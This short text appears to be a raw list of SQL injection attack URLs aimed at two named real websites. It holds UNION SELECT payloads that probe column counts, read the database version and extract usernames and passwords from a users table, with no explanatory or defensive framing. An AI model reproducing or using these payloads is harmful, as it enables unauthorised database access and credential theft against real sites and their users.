http://www.churchilltrust.com.au/content.php?id=-1+union+select+1,2,3,unhex(hex(version())),5,6,7,8 ,9,10,11/*

http://www.churchilltrust.com.au/content.php?id=-1+union+select+1,2,3,unhex(hex(concat_ws(0x3a,user name,password))),5,6,7,8,9,10,11+from+users/*

http://www.soaw.org/article.php?id=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15 ,16,17,18,19,20,21,22